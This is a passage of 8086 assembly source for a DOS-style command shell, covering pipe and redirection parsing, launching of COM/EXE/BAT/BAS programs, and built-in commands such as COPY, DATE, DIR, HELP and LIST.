inc bx ; BX = 0 again (offset of 1st TOKLET)
pd1: push ax ; save end of TOKLETs
sub cx,cx
sub si,si
sub dx,dx ; DX is set if we hit a symbol
pd2: cmp bx,ax ; reached end of TOKLETs?
je pd5 ; yes
ja pd3a ; definitely
cmp [di].TOK_DATA[bx].TOKLET_CLS,CLS_SYM
je pd4 ; process symbol
test si,si ; do we have an initial token yet?
jnz pd3 ; yes
mov si,[di].TOK_DATA[bx].TOKLET_OFF
mov cl,[di].TOK_DATA[bx].TOKLET_LEN
pd3: add bx,size TOKLET
jmp pd2
pd3a: jmp pd9
;
; There must be more tokens after the symbol; otherwise, it's a syntax error.
;
pd4: sub ax,size TOKLET ; reduce the limit
cmp bx,ax ; is there at least one more token?
jb pd4a ; yes
stc
jmp pd9c ; bail on error
pd4a: push bx
mov al,0
mov bx,[di].TOK_DATA[bx].TOKLET_OFF
xchg [bx],al ; null-terminated (AL = symbol)
mov dx,bx ; DX is offset of symbol
pop bx
;
; Similarly, the symbol must be valid; otherwise, it's a syntax error.
;
push ax
cmp al,'|' ; pipe symbol?
jne pd4b ; no
call openPipe ; open pipe
jc pd4d ; bail on error
mov [bp].HDL_OUTPIPE,ax
jmp short pd4c
pd4b: cmp al,'>' ; output redirection symbol?
stc
jne pd4d ; no
mov al,1 ; AL = 1 (request write-only handle)
call openHandle ; open handle
jc pd4d ; bail on error
pd4c: cmp [bp].CMD_ARG,0 ; first command on line?
jne pd4d ; no
push bx
xchg bx,ax ; yes, put pipe handle in BX
mov al,ds:[PSP_PFT][bx] ; get its SFH
mov ds:[PSP_PFT][STDOUT],al ; and then replace the STDOUT SFH
pop bx
pd4d: pop ax
jc pd9 ; bail on error
pd5: jcxz pd8 ; no valid initial token
push ax
push dx ; save the symbol and its offset
push si
lea dx,[KEYWORD_TOKENS]
DOSUTIL TOKID ; CS:DX -> TOKTBL; identify token
jc pd5a
mov dx,cs:[si].CTD_FUNC
pd5a: pop si
jc pd6
cmp [bp].HDL_OUTPIPE,0
je pd6
;
; We have an internal command, which must be deferred when a pipe exists.
;
ASSERT NZ,<test ax,ax> ; AX must be non-zero, too
mov [bp].CMD_DEFER[0],ax
mov [bp].CMD_DEFER[2],dx
mov [bp].CMD_DEFER[4],si
mov [bp].CMD_DEFER[6],cx
mov ax,[bp].HDL_OUTPIPE
mov [bp].CMD_DEFER[8],ax
jmp short pd6a
pd6: push bx ; cmdDOS can modify most registers
push di ; so save anything not already saved
push ds
mov bx,bp
call cmdDOS
pop ds
pop di
pop bx
pd6a: pop si ; restore the symbol and its offset
pop ax
jc pd9
test si,si ; does a symbol offset exist?
jz pd9 ; no, we must be done
mov [si],al ; restore symbol
pd8: add bx,size TOKLET
mov ax,bx
shr ax,1
shr ax,1
mov [bp].CMD_ARG,al
sub ax,ax
xchg [bp].HDL_OUTPIPE,ax
mov [bp].HDL_INPIPE,ax
pop ax ; restore end of TOKLETs
jmp pd1 ; loop back for more commands, if any
pd9: jc pd9c
mov ax,[bp].CMD_DEFER[0]
test ax,ax ; is there a deferred command?
jz pd9c ; no
js pd9a ; yes, but it's external (-1)
mov si,[bp].CMD_DEFER[8] ; SI = pipe handle
mov dl,ds:[PSP_PFT][si] ; get its SFH
mov ds:[PSP_PFT][STDOUT],dl ; and then replace the STDOUT SFH
mov dx,[bp].CMD_DEFER[2]
mov si,[bp].CMD_DEFER[4]
mov cx,[bp].CMD_DEFER[6]
mov [bp].CMD_ARG,0
mov bx,bp
call cmdDOS ; invoke deferred internal command
jmp short pd9b
pd9a: call cmdExec ; invoke deferred external command
pd9b: sub cx,cx ; CX = 0 for "truncating" write
mov bx,[bp].HDL_INPIPE
mov ah,DOS_HDL_WRITE
int 21h ; issue final write
mov ah,DOS_HDL_CLOSE
int 21h ; close the pipe
mov cl,SCB_NONE
xchg cl,[bp].SCB_NEXT
cmp cl,SCB_NONE
je pd9c
DOSUTIL WAITEND
pd9c: call cleanUp
pop ax ; discard end of TOKLETs
pop bp
ret
ENDPROC parseDOS
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdDOS
;
; Process any non-BASIC command. We allow such commands inside both BAS and
; BAT files, with the caveat that the rest of the line is treated as a DOS
; command (eg, you can't use a colon to append another BASIC command).
;
; If AX is non-zero, we have a built-in command; DX should be the handler.
; Otherwise, we call cmdFile to load an external program or command file.
;
; TODO: There are still ambiguities to resolve. For example, a simple DOS
; command like "B:" will generate a syntax error if present in a BAS/BAT file.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
; SI -> 1st token
; CX = token length
; AX = keyword ID, if any
; CS:DX -> offset of handler, if any
;
; Outputs:
; Carry clear if successful, set if error
;
; Modifies:
; Any
;
DEFPROC cmdDOS
test ax,ax ; has command already been ID'ed?
jnz cd1 ; yes
call cmdFile ; no, assume it's an external file
jmp short cd9
cd1: push dx
mov dx,0FF01h ; DL = 1 (DH = 0FFh for no limit)
push ax ; to limit token parsing if needed
DOSUTIL PARSESW ; parse switch tokens
mov [bx].CMD_ARG,dl ; update index of 1st non-switch token
pop ax
cmp ax,KEYWORD_FILE ; does token require a filespec? (20)
jb cd8 ; no
;
; The token is for a command that expects a filespec, so fix up the next
; token (index in DL). If there is no token, use defaults from SI and CX.
;
mov si,offset DIR_DEF
mov cx,DIR_DEF_LEN - 1
call getFileName
cd8: pop dx ; DX = handler again
test dx,dx
jz cd9
call dx ; call the token handler
clc ; TODO: make handlers set/clear carry
cd9: ret
ENDPROC cmdDOS
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdExec
;
; Execute a previously loaded program (EXECDATA must already be filled in).
;
; Inputs:
; BP -> CMDHEAP
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdExec
sub bx,bx
xchg bx,[bp].CMD_PROCESS
test bx,bx
jz ce9
mov ah,DOS_PSP_SET
int 21h
lea bx,[bp].EXECDATA
DEFLBL cmdStart,near
mov ax,DOS_PSP_EXEC2
int 21h ; start program specified by ES:BX
mov ah,DOS_PSP_RETCODE
int 21h
ASSERT STRUCT,[bp],CMD
mov word ptr [bp].EXIT_CODE,ax
mov dl,ah ; AL = exit code, DL = exit type
PRINTF <"Return code %bd (%bd)",13,10,13,10>,ax,dx
ce9: ret
ENDPROC cmdExec
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdFile
;
; Process an external command file (ie, COM/EXE/BAT/BAS file).
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
; SI -> 1st token
; CX = token length
;
; Outputs:
; Carry clear if successful, set if error
;
; Modifies:
; Any
;
DEFPROC cmdFile
push bp
mov bp,bx
mov [bp].CMD_ARGPTR,si ; save original filename ptr
mov [bp].CMD_ARGLEN,cx
lea di,[bp].LINEBUF
mov ax,15
cmp cx,ax
jb cf1
xchg cx,ax
cf1: push cx
push di
rep movsb
mov al,0
stosb
pop si ; DS:SI -> copy of token in LINEBUF
pop cx
DOSUTIL STRUPR ; DS:SI -> token, CX = length
;
; Determine whether DS:SI contains a drive specification or a program name.
;
cf2: cmp cl,2 ; two characters only?
jne cf3 ; no
cmp byte ptr [si+1],':'
jne cf3 ; not a valid drive specification
mov cl,[si] ; CL = drive letter
mov dl,cl
sub dl,'A' ; DL = drive number
cmp dl,26
jae cf2a ; out of range
mov ah,DOS_DSK_SETDRV
int 21h ; attempt to set the drive number in DL
jnc cf2x ; success
cf2a: PRINTF <"Drive %c: invalid",13,10,13,10>,cx
cf2x: jmp cf9
;
; Not a drive letter, so presumably DS:SI contains a program name.
;
cf3: mov dx,offset PERIOD
call chkString ; any periods in string at DS:SI?
jnc cf4 ; yes
;
; There's no period, so append extensions in a well-defined order (ie, .COM,
; .EXE, .BAT, and finally .BAS).
;
mov dx,offset COM_EXT
cf3a: call addString
call findFile
jnc cf4
add dx,COM_EXT_LEN
cmp dx,offset BAS_EXT
jbe cf3a
mov dx,di ; DX -> LINEBUF
add di,cx ; every extension failed
mov byte ptr [di],0 ; so clear the last one we tried
mov ax,ERR_NOFILE ; and report an error
jmp short cf4a
;
; The filename contains a period, so let's verify the extension and the
; action; for example, only .COM or .EXE files should be EXEC'ed (it would
; not be a good idea to execute, say, CONFIG.SYS).
;
cf4: mov dx,offset COM_EXT
call chkString
jnc cf5
mov dx,offset EXE_EXT
call chkString
jnc cf5
mov dx,offset BAT_EXT
call chkString
jnc cf4b
mov dx,offset BAS_EXT
call chkString
jnc cf4b
mov si,di ; filename was none of the above
mov ax,ERR_INVALID ; so report an error
cf4a: jmp cf8
;
; BAT files are LOAD'ed and then immediately RUN. We may as well do the same
; for BAS files; you can always use the LOAD command to load without running.
;
; BAT file operation does differ in some respects. For example, any existing
; variables remain in memory prior to executing a BAT file, but all variables
; are freed prior to running a BAS file. Also, each line of a BAT file is
; displayed before it's executed, unless prefixed with '@' or an ECHO command
; has turned echo off. These differences are why we must call cmdRunFlags with
; GEN_BASIC or GEN_BATCH as appropriate.
;
; Another side-effect of an implied LOAD+RUN operation is that we free the
; loaded program (ie, all text blocks) when it finishes running. Any variables
; set (ie, all var blocks) are allowed to remain in memory.
;
; Note that if the execution is aborted (eg, critical error, CTRLC signal),
; the program remains loaded, available for LIST'ing, RUN'ing, etc.
;
cf4b: call cmdLoad
jc cf4d ; don't RUN if LOAD error
mov al,GEN_BASIC
cmp dx,offset BAS_EXT
je cf4c
mov al,GEN_BATCH
cf4c: call cmdRunFlags ; if cmdRun returns normally
call freeAllText ; automatically free all text blocks
cf4d: jmp cf9
;
; COM and EXE files must be loaded via either DOS_PSP_EXEC or DOS_UTL_LOAD.
;
cf5: DOSUTIL STRLEN ; AX = length of filename in LINEBUF
mov dx,si ; DS:DX -> filename
mov si,[bp].CMD_ARGPTR ; recover original filename
add si,cx ; DS:SI -> tail after original filename
sub cx,cx
cmp [bp].CMD_ARG,cl ; is this the first command?
jne cf6 ; no, use DOS_UTL_LOAD instead
lea bx,[bp].EXECDATA
mov [bx].EPB_ENVSEG,cx ; set ENVSEG to zero for now
mov di,dx ; we used to set DI to PSP_CMDTAIL
add di,ax ; but the filename is now in LINEBUF
inc di ; so use the remaining space in LINEBUF
push di
mov [bx].EPB_CMDTAIL.OFF,di
mov [bx].EPB_CMDTAIL.SEG,es
inc di ; use our tail space to build new tail
cf5a: lodsb
cmp al,CHR_RETURN ; command line may end with CHR_RETURN
jbe cf5b ; or null; we don't really care
stosb
inc cx ; store and count all other characters
jmp cf5a
cf5b: mov al,CHR_RETURN ; regardless how the command line ends,
stosb ; terminate the tail with CHR_RETURN
pop di
mov [di],cl ; set the cmd tail length
mov [bx].EPB_FCB1.OFF,-1 ; let the EXEC function build the FCBs
mov ax,DOS_PSP_EXEC1
int 21h ; load program at DS:DX
jc cf5e
;
; Unfortunately, at this late stage, if a pipe exists, we must defer the EXEC.
;
cmp [bp].HDL_OUTPIPE,0
je cf5c
mov [bp].CMD_DEFER[0],-1 ; set deferred EXEC code (-1)
mov ah,DOS_PSP_GET
int 21h
mov [bp].CMD_PROCESS,bx ; save new PSP for the deferred EXEC
mov bx,ss
mov ah,DOS_PSP_SET
int 21h ; and finally, revert to our own PSP
jmp short cf5d
cf5c: call cmdStart
cf5d: jmp short cf9
cf5e: mov si,dx
jmp cf8
;
; Use DOS_UTL_LOAD to load the external program into a background session.
;
cf6: mov di,dx ; DI -> filename in LINEBUF
push di
add di,ax ; DI -> null
cf6a: lodsb
cmp al,CHR_RETURN ; tail may end with CHR_RETURN
jbe cf6b ; or null; we don't really care
stosb
jmp cf6a
cf6b: mov al,0 ; regardless how the tail ends,
stosb ; null-terminate the new command line
pop si ; SI -> new command line
sub sp,size SPB
mov di,sp ; ES:DI -> SPB on stack
sub ax,ax
stosw ; SPB_ENVSEG <- 0
mov ax,si
stosw ; SPB_CMDLINE.OFF
mov ax,ds
stosw ; SPB_CMDLINE.SEG
mov al,[bp].SFH_STDIN
mov bx,[bp].HDL_INPIPE
test bx,bx
jz cf7
mov al,ds:[PSP_PFT][bx]
cf7: stosb ; SPB_SFHIN
mov al,[bp].SFH_STDOUT
mov bx,[bp].HDL_OUTPIPE
test bx,bx
jz cf7a
mov al,ds:[PSP_PFT][bx]
cf7a: stosb ; SPB_SFHOUT
mov al,ds:[PSP_PFT][STDERR]
stosb ; SPB_SFHERR
mov al,ds:[PSP_PFT][STDAUX]
stosb ; SPB_SFHAUX
mov al,ds:[PSP_PFT][STDPRN]
stosb ; SPB_SFHPRN
mov bx,sp ; ES:BX -> SPB on stack
DOSUTIL LOAD ; load CMDLINE into an SCB
lea sp,[bx + size SPB] ; clean up the stack
jc cf8
mov [bp].SCB_NEXT,cl
DOSUTIL START ; start the SCB # specified in CL
jmp short cf9
cf8: call openError ; report error (AX) opening file (SI)
cf9: pop bp
ret
ENDPROC cmdFile
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; getFileName
;
; Inputs:
; SI = default filespec
; CX = default filespec length (zero if no default)
; DL = token # (0-based)
; DI -> TOKENBUF
;
; Outputs:
; If carry clear, DS:SI -> filespec, CX = length
;
; Modifies:
; CX, SI
;
DEFPROC getFileName
call getToken ; DL = 1st non-switch argument
jnc gf1
jcxz gf9 ; bail if no default was provided
push cs ; assumes default is in CS segment
pop ds
jmp short gf2
gf1: mov ax,15 ; DS:SI -> token, CX = length
cmp cx,ax
jbe gf2
xchg cx,ax
gf2: push di
lea di,[bx].LINEBUF
push cx
push di
rep movsb
mov byte ptr es:[di],0
pop si ; DS:SI -> copy of token in LINEBUF
pop cx
pop di
push ss
pop ds
DOSUTIL STRUPR ; DS:SI -> token, CX = length
clc
gf9: ret
ENDPROC getFileName
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; getToken
;
; Inputs:
; DL = token # (0-based)
; DI -> TOKENBUF
;
; Outputs:
; If carry clear, DS:SI -> token, CX = length (and ZF set)
;
; Modifies:
; CX, SI
;
DEFPROC getToken
cmp dl,[di].TOK_CNT
cmc
jb gt9
push bx
mov bl,dl
mov bh,0 ; BX = 0-based index
add bx,bx
add bx,bx ; BX = BX * 4 (size TOKLET)
ASSERT <size TOKLET>,EQ,4
cmp [di].TOK_DATA[bx].TOKLET_CLS,CLS_SYM
stc ; treat symbol as end-of-tokens
je gt8
mov si,[di].TOK_DATA[bx].TOKLET_OFF
mov cl,[di].TOK_DATA[bx].TOKLET_LEN
ASSERT NB,<cmp byte ptr [si],1>
sub ch,ch ; set ZF on success, too
gt8: pop bx
gt9: ret
ENDPROC getToken
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdCopy
;
; Copy the specified input file to the specified output file.
;
; Inputs:
; BX -> CMDHEAP
; DS:SI -> filespec (with length CX)
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdCopy
ASSERT STRUCT,[bx],CMD
call openInput ; SI -> filename
jc openError ; report error (AX) opening file (SI)
cmp [bx].HDL_OUTPUT,0 ; do we already have an output file?
jge cc1 ; yes
mov dl,[bx].CMD_ARG
inc dx ; DL = DL + 1
sub cx,cx ; no default filespec in this case
call getFileName
jnc cc0
PRINTF <"Missing output file",13,10>
jmp short cc9
cc0: call openOutput
jc openError
cc1: mov si,PSP_DTA ; SI -> DTA (used as a read buffer)
cc2: mov cx,size PSP_DTA ; CX = number of bytes to read
call readInput
jc cc8
test ax,ax ; anything read?
jz cc8 ; no
xchg cx,ax ; CX = number of bytes to write
call writeOutput
jnc cc2
;
; NOTE: We no longer explicitly close the input and output files, either on
; success or failure, simply because we now rely on the cleanUp function to be
; invoked at the end of every command -- which, among other things, closes all
; non-STD file handles that are still open.
;
cc8: ret
DEFLBL openError,near ; report error (AX) opening file (SI)
push ax
PRINTF <"Unable to open %s (%d)",13,10,13,10>,si,ax
pop ax
cc9: stc
ret
ENDPROC cmdCopy
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdDate
;
; Set a new system date (eg, "MM-DD-YY", "MM/DD/YYYY"). Omitted portions
; of the date string default to the current date's values. This intentionally
; differs from cmdTime, where omitted portions always default to zero.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdDate
mov ax,offset promptDate
call getInput ; DS:SI -> string
jc cc9 ; do nothing on empty string
mov ah,'-'
call getValues
xchg dx,cx ; DH = month, DL = day, CX = year
cmp cx,100
jae dt1
add cx,1900 ; 2-digit years are automatically
cmp cx,1980 ; adjusted to 4-digit years 1980-2079
jae dt1
add cx,100
dt1: mov ah,DOS_MSC_SETDATE
int 21h ; set the date
test al,al ; success?
stc
jz promptDate ; yes, display new date and return
PRINTF <"Invalid date",13,10>
cmp [di].TOK_CNT,0 ; did we process a command-line token?
je dt9 ; yes
jmp cmdDate
DEFLBL promptDate,near
DOSUTIL GETDATE ; GETDATE returns packed date
xchg dx,cx
jnc dt9 ; if caller's carry clear, skip output
pushf
PRINTF <"Current date is %.3W %M-%02D-%Y",13,10>,ax,ax,ax,ax
popf ; do we need a prompt?
jz dt9 ; no
PRINTF <"Enter new date: ">
test ax,ax ; clear CF and ZF
dt9: ret
ENDPROC cmdDate
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdDir
;
; Print a directory listing for the specified filespec.
;
; Inputs:
; BX -> CMDHEAP
; DS:SI -> filespec (with length CX)
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdDir
mov [bx].CMD_ARGPTR,si
mov [bx].CMD_ARGLEN,cx
;
; If filespec begins with ":", extract drive letter, and if it ends
; with ":" as well, append DIR_DEF ("*.*").
;
di1: push bp
mov dl,0 ; DL = default drive #
mov di,cx ; DI = length of filespec
cmp cx,2
jb di2
cmp byte ptr [si+1],':'
jne di2
mov al,[si]
sub al,'A'-1
jb dix
mov dl,al ; DL = specific drive # (1-based)
di2: mov ah,DOS_DSK_GETINFO
int 21h ; get disk info for drive
jnc di3
dix: jmp di8
;
; We primarily want the cluster size, in bytes, which this call doesn't
; provide directly; we must multiply bytes per sector (CX) by sectors per
; cluster (AX).
;
di3: mov bp,bx ; BP = available clusters
mul cx ; DX:AX = bytes per cluster
xchg bx,ax ; BX = bytes per cluster
add di,si ; DI -> end of filespec
cmp byte ptr [di-1],':'
jne di3a
push si
mov cx,DIR_DEF_LEN
mov si,offset DIR_DEF
REPS MOVS,ES,CS,BYTE
pop si
di3a: sub cx,cx ; CX = attributes
mov dx,si ; DX -> filespec
mov ah,DOS_DSK_FFIRST
int 21h
jc dix
;
; Use DX to maintain the total number of clusters, and CX to maintain
; the total number of files.
;
sub dx,dx
sub cx,cx
di4: lea si,ds:[PSP_DTA].FFB_NAME
;
; Beginning of "stupid" code to separate filename into name and extension.
;
push cx
push dx
DOSUTIL STRLEN
xchg cx,ax ; CX = total length
mov dx,offset PERIOD
call chkString ; does the filename contain a period?
jc di5 ; no
mov ax,di
sub ax,si ; AX = partial filename length
inc di ; DI -> character after period
jmp short di6
di5: mov ax,cx ; AX = complete filename length
mov di,si
add di,ax
;
; End of "stupid" code (which I'm tempted to eliminate, but since it's done...)
;
di6: mov dx,ds:[PSP_DTA].FFB_DATE
mov cx,ds:[PSP_DTA].FFB_TIME
ASSERT Z,<cmp ds:[PSP_DTA].FFB_SIZE.HIW,0>
PRINTF <"%-8.*s %-3s %7ld %2M-%02D-%02X %2G:%02N%A",13,10>,ax,si,di,ds:[PSP_DTA].FFB_SIZE.LOW,ds:[PSP_DTA].FFB_SIZE.HIW,dx,dx,dx,cx,cx,cx
call countLine
;
; Update our totals
;
mov ax,ds:[PSP_DTA].FFB_SIZE.LOW
mov dx,ds:[PSP_DTA].FFB_SIZE.HIW
lea cx,[bx-1]
add ax,cx ; add cluster size - 1 to file size
adc dx,0
div bx ; # clusters = file size/cluster size
pop dx
pop cx
add dx,ax ; update our cluster total
inc cx ; and increment our file total
mov ah,DOS_DSK_FNEXT
int 21h
jc di7
jmp di4
di7: xchg ax,dx ; AX = total # of clusters used
mul bx ; DX:AX = total # bytes
PRINTF <"%8d file(s) %8ld bytes",13,10>,cx,ax,dx
call countLine
xchg ax,bp ; AX = total # of clusters free
mul bx ; DX:AX = total # bytes free
PRINTF <"%25ld bytes free",13,10>,ax,dx
;
; For testing purposes: if /L is specified, display the directory in a "loop".
;
pop bp
IFDEF DEBUG
TESTSW <'L'>
jz di9
call countLine
mov bx,ds:[PSP_HEAP]
mov si,[bx].CMD_ARGPTR
mov cx,[bx].CMD_ARGLEN
jmp di1
ENDIF ; DEBUG
di8: PRINTF <"Unable to find %s (%d)",13,10,13,10>,si,ax
pop bp
di9: ret
ENDPROC cmdDir
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdExit
;
; Inputs:
; BX -> CMDHEAP
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdExit
int 20h ; terminates the current process
ret ; unless it can't (ie, no parent)
ENDPROC cmdExit
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdHelp
;
; If a keyword is specified, display help for that keyword; otherwise,
; display a list of all keywords.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdHelp
mov dl,[bx].CMD_ARG ; is there a non-switch argument?
call getToken
jnc doHelp
jmp h5 ; no
;
; Identify the second token (DS:SI) with length CX.
;
DEFLBL doHelp,near
lea dx,[KEYWORD_TOKENS]
DOSUTIL TOKID ; CS:DX -> TOKTBL
jc h4 ; unknown
;
; CS:SI -> CTOKDEF. Load CTD_TXT_OFF into DX and CTD_TXT_LEN into CX.
;
mov dx,cs:[si].CTD_TXT_OFF
mov cx,cs:[si].CTD_TXT_LEN
jcxz h3 ; no help indicated
push ds
push cs
pop ds
mov si,offset HELP_FILE ; DS:SI -> filename
push dx
call openInput
pop dx
pop ds
jc h3
push cx
sub cx,cx
call seekInput ; seek to 0:DX
pop cx
mov al,CHR_CTRLZ
push ax
sub sp,cx ; allocate CX bytes from the stack
mov si,sp
call readInput ; read CX bytes into DS:SI
jc h2c
;
; Keep track of the current line's available characters (DL) and maximum
; characters (DH), and print only whole words that will fit.
;
mov dl,[bx].CON_COLS ; DL = # available chars
dec dx ; DL = # available chars - 1
mov dh,dl
h2: call getWord ; AX = next word length
test al,al ; any more words?
jz h2c ; no
cmp al,dl ; will it fit on the line?
jbe h2a ; yes
cmp al,dh ; is it too large regardless?
jbe h2b ; no
h2a: call printChars ; print # chars in AL
call printSpace ; print whitespace that follows
jz h2c ; if ZF set, must have hit CHR_CTRLZ
jmp h2
h2b: call printEOL
jmp h2
h2c: add sp,cx ; deallocate the stack space
pop ax
call closeInput
ret
h3: PRINTF <"No help available",13,10>
ret
h4: PRINTF <"Unknown command: %.*s",13,10>,cx,si
ret
;
; Print all keywords with ID < KEYWORD_CLAUSE (200).
;
h5: mov si,offset KEYWORD_TOKENS
lods word ptr cs:[si] ; AL = # tokens, AH = size CTOKDEF
mov cl,al
mov ch,0 ; CX = # tokens
mov al,ah
cbw
xchg di,ax ; DI = size CTOKDEF
mov dl,8 ; DL = # chars to be printed so far
h6: cmp cs:[si].CTD_ID,KEYWORD_CLAUSE
jae h8 ; ignore token IDs >= 200
push dx
mov dl,cs:[si].CTD_LEN
mov dh,0
PRINTF <"%-8.*ls">,dx,cs:[si].CTD_OFF,cs
pop dx
add dl,al
cmp cl,1
je h7
ASSERT STRUCT,[bx],CMD
cmp dl,[bx].CON_COLS
jb h8
h7: call printCRLF
mov dl,8
h8: add si,di ; SI -> next CTOKDEF
loop h6
h9: ret
ENDPROC cmdHelp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; getWord
;
; Inputs:
; DS:SI -> characters to print
;
; Outputs:
; AX = # of characters in next non-whitespace sequence (ie, "word")
;
; Modifies:
; AX
;
DEFPROC getWord
push si
gw1: lodsb
cmp al,'\' ; we need to include any backslash
jne gw2 ; in the word length, but we're not
inc dx ; printing it, so increase line length
jmp short gw3
gw2: cmp al,' '
ja gw1
dec si
gw3: pop ax
sub si,ax
xchg si,ax
ret
ENDPROC getWord
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; printChar
;
; Inputs:
; AL = character
;
; Outputs:
; None
;
; Modifies:
; AX
;
DEFPROC printChar
push dx
xchg dx,ax
mov ah,DOS_TTY_WRITE
int 21h
pop dx
ret
ENDPROC printChar
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; printChars
;
; Inputs:
; CX = character count
; DS:SI -> characters to print
; DL = avail characters on line
; DH = maximum characters on line
;
; Outputs:
; SI, DL updated as appropriate
;
; Modifies:
; AX, DX, SI
;
DEFPROC printChars
push ax
push cx
cbw
xchg cx,ax ; CX = count
pr1: lodsb
cmp al,'*' ; just skip asterisks for now
je pr8
cmp al,'\' ; lines ending with backslash
jne pr2 ; trigger a single newline and
call skipSpace ; skip remaining whitespace
pop cx
pop ax
ret
pr2: call printChar
pr8: loop pr1
pr9: pop cx
pop ax
sub dl,al ; reduce available chars on line
ret
ENDPROC printChars
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; printSpace
;
; Inputs:
; DS:SI -> characters to print
; DL = avail characters on line
; DH = maximum characters on line
;
; Outputs:
; SI, DL updated as appropriate
;
; Modifies:
; AX, DX, SI
;
DEFPROC printSpace
ps1: cmp dl,1 ; if current line is almost full
jle skipSpace ; print CRLF and then skip all space
lodsb
cmp al,CHR_TAB
je ps2
cmp al,CHR_SPACE
ja ps8
jb ps5
ps2: call printChar
dec dx
jmp ps1
ps5: dec si
call printEOL
DEFLBL skipSpace,near
call printEOL
ps7: lodsb
cmp al,CHR_CTRLZ ; end of text?
je ps8 ; yes
cmp al,CHR_SPACE ; non-whitespace?
ja ps8 ; yes
jmp ps7 ; keep looping
ps8: dec si
ps9: ret
ENDPROC printSpace
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; countLine
;
; Call this once for each line of output generated by the current command.
; When the total number of lines (CMD_ROWS) equals the total number of rows
; (CON_ROWS), display a prompt if /P was specified.
;
; Inputs:
; None
;
; Outputs:
; None
;
; Modifies:
; AX
;
DEFPROC countLine
push bx
mov bx,ds:[PSP_HEAP]
ASSERT STRUCT,[bx],CMD
ASSERT <CMD_ROWS>,EQ,<CON_ROWS+1>
mov ax,word ptr [bx].CON_ROWS
inc ah
cmp ah,al
jb cl1
cbw
cl1: mov [bx].CMD_ROWS,ah
jb cl9
TESTSW <'P'>
jz cl9
PRINTF <"Press a key to continue...">
mov ah,DOS_TTY_READ
int 21h
cmp al,CHR_RETURN
jne cl8
mov [bx].CMD_ROWS,99
PRINTF <13,"%27c">,ax
jmp short cl9
cl8: call printCRLF
cl9: pop bx
ret
ENDPROC countLine
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; printEOL
;
; Inputs:
; DL = avail characters on line
; DH = maximum characters on line
;
; Outputs:
; DL = DH
;
; Modifies:
; AX, DX
;
DEFPROC printEOL
mov dl,dh ; reset available characters in DL
DEFLBL printCRLF,near
PRINTF <13,10> ; print CHR_RETURN, CHR_LINEFEED
call countLine
ret
ENDPROC printEOL
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdKeys
;
; Inputs:
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdKeys
jmp doHelp
ENDPROC cmdKeys
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdList
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdList
lea si,[bx].TBLKDEF
li2: mov cx,[si].BLK_NEXT
jcxz li9 ; nothing left to parse
mov ds,cx
ASSUME DS:NOTHING
mov si,size TBLK
li3: cmp si,ds:[BLK_FREE]
jae li2 ; advance to next block in chain
lodsw
test ax,ax ; is there a label #?
jz li4 ; no
PRINTF <"%5d">,ax
li4: PRINTF <CHR_TAB>
call writeStrCRLF
jmp li3
li9: ret
